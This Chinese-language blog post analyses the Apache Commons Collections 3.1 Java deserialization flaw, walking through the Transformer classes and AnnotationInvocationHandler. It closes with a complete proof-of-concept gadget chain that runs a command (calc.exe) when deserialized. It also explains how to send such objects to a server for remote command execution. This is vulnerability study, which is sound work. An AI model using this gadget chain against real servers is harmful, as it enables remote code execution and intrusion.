环境搭建
本文由“壹伴编辑器”提供技术
JDK版本为为1.6,
引入commons-collections-3.1.jar包,具体引入方法为:
File -> Project Settings -> Modules -> Dependencies
点击加号选择导入JARs包,再选择包的地址,点击apply成功引入。
Poc():
本文由“壹伴编辑器”提供技术
分析:
本文由“壹伴编辑器”提供技术
前面提到过要实现序列化与反序列化目标对象要实现Serializable接口。
Apache Commons Collections中有一个特殊的接口,
其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
InvokerTransformer部分源码,可以看到其实现了Transformer和Serializable接口。
本文由“壹伴编辑器”提供技术
InvokerTranformer类中的transform方法,该方法使用反射进行函数调用
input参数是要反射的对象,iMethodName、iParamTypes分别是调用的方法名称和参数类型,iArgs是要调用的方法的参数。这三个参数都是可控的。
本文由“壹伴编辑器”提供技术
ConstantTransformer类的transform()方法是返回iConstant属性,并且该属性也是可控的。
ChainedTransformer类很关键,这是它的构造函数:
从其构造函数可以看出它是传入一个Transform数组,在看一下它的transform()方法。
本文由“壹伴编辑器”提供技术
这里使用循环来调用Transformer数组的transform()方法,
并且使用object作为后一个调用transform()方法的参数,这里我们结合前面的poc代码看:
本文由“壹伴编辑器”提供技术
这里代码有些绕,要结合前面对各个类的分析,
大概意思是创建一个transformers数组:
(备注:InvokerTransformer类和ConstantTransformer类前面都有提到)
最后创建ChainedTransformer对象并将transformers数组传入。
Debug截图:
本文由“壹伴编辑器”提供技术
本文由“壹伴编辑器”提供技术
这个checkSetValue()会触发transform方法。然后我们思路清晰起来了,
首先,
构造一个Map和一个代码执行的ChainedTransforme
生成一个TransformedMap。
Poc中的代码如下:
本文由“壹伴编辑器”提供技术
Outmap就是已经构造好的TransformedMap,
下一步需要能让服务器反序列化对象时,触发outmap的checkSetValue()方法。
这时就要用到AnnotationInvocationHandler类,
这个类中有一个变量memberValues是Map类型,如下图所示:
本文由“壹伴编辑器”提供技术
AnnotationInvocationHandler的readObject()方法中,对memberValues的每一项都调用了setValue()函数,
代码如下:
本文由“壹伴编辑器”提供技术
这里的setValue()函数就会触发checkValue()函数,代码如图:
本文由“壹伴编辑器”提供技术
所以我们要使用outmap来构造AnnotationInvocationHandler,进行序列化,
后面触发readerObject()反序列化时就能实现命令执行:
本文由“壹伴编辑器”提供技术
下面分别是序列化与反序列化的简单本地模拟代码:
本文由“壹伴编辑器”提供技术
一般情况是服务器有一个反序列化接口,我们将自己构造的恶意代码序列化后通过接口远程调用,或者传输到服务器上,服务器进行反序列化调用readObject()函数;
然后成功命令执行。
本文由“壹伴编辑器”提供技术支
服务器端反序列化执行大概步骤:
漏洞影响:
1.Spring Framework <= 3.0.5,<= 2.0.6;
2.Groovy < 2.4.4;
3.Apache Commons Collections <= 3.2.1,<= 4.0.0;
附POC代码:
package com.company;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
class test1 {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj");
payloadTest("obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
end
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论